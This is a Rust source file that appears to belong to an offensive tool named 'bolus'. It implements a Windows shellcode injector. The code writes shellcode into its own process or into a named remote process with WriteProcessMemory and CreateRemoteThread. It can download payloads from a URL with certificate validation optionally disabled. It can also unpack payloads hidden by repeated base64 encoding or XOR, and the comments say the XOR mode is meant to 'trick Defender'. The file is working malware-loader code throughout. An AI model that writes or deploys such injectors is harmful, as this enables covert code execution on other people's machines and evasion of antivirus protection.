bolus/injectors/
mod.rs

1// ================
2// Standard Library
3// ================
4use core::ffi::c_void;
5use std::ptr;
6// =====================
7// External Dependencies
8// =====================
9use base64::{engine::general_purpose, Engine as _};
10use reqwest::blocking::Client;
11use sysinfo::{PidExt, ProcessExt, System, SystemExt};
12use windows::Win32::{
13    Foundation::{CloseHandle, GetLastError, BOOL, HANDLE, WAIT_EVENT},
14    System::{
15        Diagnostics::Debug::WriteProcessMemory,
16        Memory::{
17            VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ,
18            PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
19        },
20        Threading::{
21            CreateRemoteThread, GetCurrentProcess, OpenProcess, WaitForSingleObject, INFINITE,
22            PROCESS_ALL_ACCESS,
23        },
24    },
25};
26
27///
28/// A handy container for our shellcode. This is [InjectionType] and
29/// [InjectorType] agnostic, beacuse our helpful [load()] function will
30/// handle the transformation from source to shellcode.
31///
32pub struct Injector {
33    pub shellcode: Vec<u8>,
34}
35
36///
37/// The possible types of shellcode loaders. They are:
38///
39/// * `Url`: Raw Shellcode over HTTP(S), ignore_ssl (bool).
40/// * `Base64Url`: B64-encoded (n-iterations) over HTTP(S), ignore_ssl (bool).
41/// * `Embedded`: You give the loader a raw [Vec<u8>]
42///    of shellcode to inject
43/// * `Base64Embedded`: Instead of a raw [Vec], you use b64
44///    (n-iterations) to create an obfuscated shellcode string,
45///    which will be decoded at runtime
46/// *  `XorEmbedded`: Embedded shellcode with a seconde [Vec<u8>] as a decryption key. Not really
47/// secure, but it'll trick Defender.
48/// *  `XorUrl`: Pulls the XORed shellcode from the URL, ignore_ssl (bool), and uses the provided [Vec<u8>] for decryption.
49///
50///
51pub enum InjectorType {
52    Url(String, bool),
53    Base64Url((String, bool, usize)),
54    Embedded(Vec<u8>),
55    Base64Embedded((String, usize)),
56    XorEmbedded((Vec<u8>, Vec<u8>)),
57    XorUrl((String, bool, Vec<u8>)),
58}
59
60///
61/// The possible types of injections. Currently only
62/// `Reflective` and `Remote` are supported.
63///
64pub enum InjectionType {
65    Reflect,
66    Remote(String),
67}
68
69///
70/// The generic function to write memory to either
71/// our own our another process, depending on the handle.
72///
73/// ## Safety
74///
75/// YOYO
76///
77pub unsafe fn write_mem(
78    sc: Vec<u8>,
79    proc_h: HANDLE,
80    base_addr: *mut c_void,
81    wait: bool,
82) -> Result<(), String> {
83    let sc_len = sc.len();
84    let mut n = 0;
85    WriteProcessMemory(proc_h, base_addr, sc.as_ptr() as _, sc_len, Some(&mut n)).unwrap();
86
87    let mut old_protect: PAGE_PROTECTION_FLAGS = PAGE_READWRITE;
88    VirtualProtectEx(
89        proc_h,
90        base_addr,
91        sc_len,
92        PAGE_EXECUTE_READ,
93        &mut old_protect,
94    )
95    .unwrap();
96
97    let h_thread = CreateRemoteThread(
98        proc_h,
99        None,
100        0,
101        Some(std::mem::transmute(base_addr)),
102        None,
103        0,
104        None,
105    )
106    .unwrap();
107
108    CloseHandle(proc_h).unwrap();
109
110    if wait {
111        if WaitForSingleObject(h_thread, INFINITE) == WAIT_EVENT(0) {
112            println!("Good!");
113            println!("Injection completed!");
114            Ok(())
115        } else {
116            let error = GetLastError();
117            println!("{:?}", error);
118            Err("Could not inject!".to_string())
119        }
120    } else {
121        Ok(())
122    }
123}
124
125///
126/// Performs reflective injection.
127///  
128/// ## Safety
129///
130/// YOYO
131///
132pub unsafe fn reflective_inject(sc: Vec<u8>, wait: bool) -> Result<(), String> {
133    let h: HANDLE = GetCurrentProcess();
134    let addr = VirtualAllocEx(
135        h,
136        Some(ptr::null_mut()),
137        sc.len(),
138        MEM_COMMIT | MEM_RESERVE,
139        PAGE_READWRITE,
140    );
141
142    write_mem(sc, h, addr, wait)
143}
144
145///
146/// Performs remote injection.
147///
148/// Will attempt to find a process with the given name and inject.
149///  
150/// ## Safety
151///
152/// YOYO
153///
154pub unsafe fn remote_inject(sc: Vec<u8>, wait: bool, process_name: &str) -> Result<(), String> {
155    // Enumerate processes
156    let sys = System::new_all();
157    let mut process_matches = sys
158        .processes()
159        .iter()
160        .filter(|(&_pid, proc)| proc.name() == process_name);
161
162    match process_matches.next() {
163        Some((pid, _proc)) => {
164            let h: HANDLE =
165                OpenProcess(PROCESS_ALL_ACCESS, BOOL(0), pid.to_owned().as_u32()).unwrap();
166            let addr = VirtualAllocEx(
167                h,
168                Some(ptr::null_mut()),
169                sc.len(),
170                MEM_COMMIT | MEM_RESERVE,
171                PAGE_READWRITE,
172            );
173            write_mem(sc, h, addr, wait)
174        }
175        None => Err("Could not find matching process!".to_string()),
176    }
177}
178
179pub fn download_shellcode(url: &str, ignore_ssl: bool) -> Result<Vec<u8>, String> {
180    println!("Requesting URL: {url}");
181
182    // Build the client, optionally disabling SSL/TLS certificate validation
183    let client_builder = Client::builder();
184    let client = (
185        if ignore_ssl {
186            client_builder.danger_accept_invalid_certs(true)
187        } else {
188            client_builder
189        }
190    )
191        .build()
192        .map_err(|e| format!("Failed to build client: {}", e))?;
193
194    // Send the request using the custom client
195    let res = client
196        .get(url)
197        .send()
198        .map_err(|e| format!("Request failed: {}", e))?;
199
200    if res.status().is_success() {
201        let sc: Vec<u8> = res
202            .bytes()
203            .map_err(|e| format!("Failed to read response bytes: {}", e))?
204            .to_vec();
205        Ok(sc)
206    } else {
207        Err("Couldn't connect!".to_string())
208    }
209}
210
211///
212/// Decodes base64 shellcode for `b64_iterations`.
213///
214pub fn decode_b64_shellcode(sc: &Vec<u8>, b64_iterations: usize) -> Result<Vec<u8>, String> {
215    let mut shellcode_vec: Vec<u8> = sc.to_vec();
216    for _i in 0..b64_iterations {
217        match general_purpose::STANDARD.decode(shellcode_vec) {
218            Ok(d) => {
219                shellcode_vec = d;
220            }
221            Err(e) => {
222                let err_msg = e.to_string();
223                return Err(err_msg.to_owned());
224            }
225        };
226    }
227    Ok(shellcode_vec)
228}
229
230///
231/// Simple XOR decryption
232///
233pub fn decrypt_xor(sc: &Vec<u8>, key: &Vec<u8>) -> Result<Vec<u8>, String> {
234    let mut decrypted = Vec::with_capacity(sc.len());
235    let mut i = 0;
236    while i < sc.len() {
237        decrypted.push(sc[i] ^ key[i % key.len()]);
238        i += 1;
239    }
240    Ok(decrypted)
241}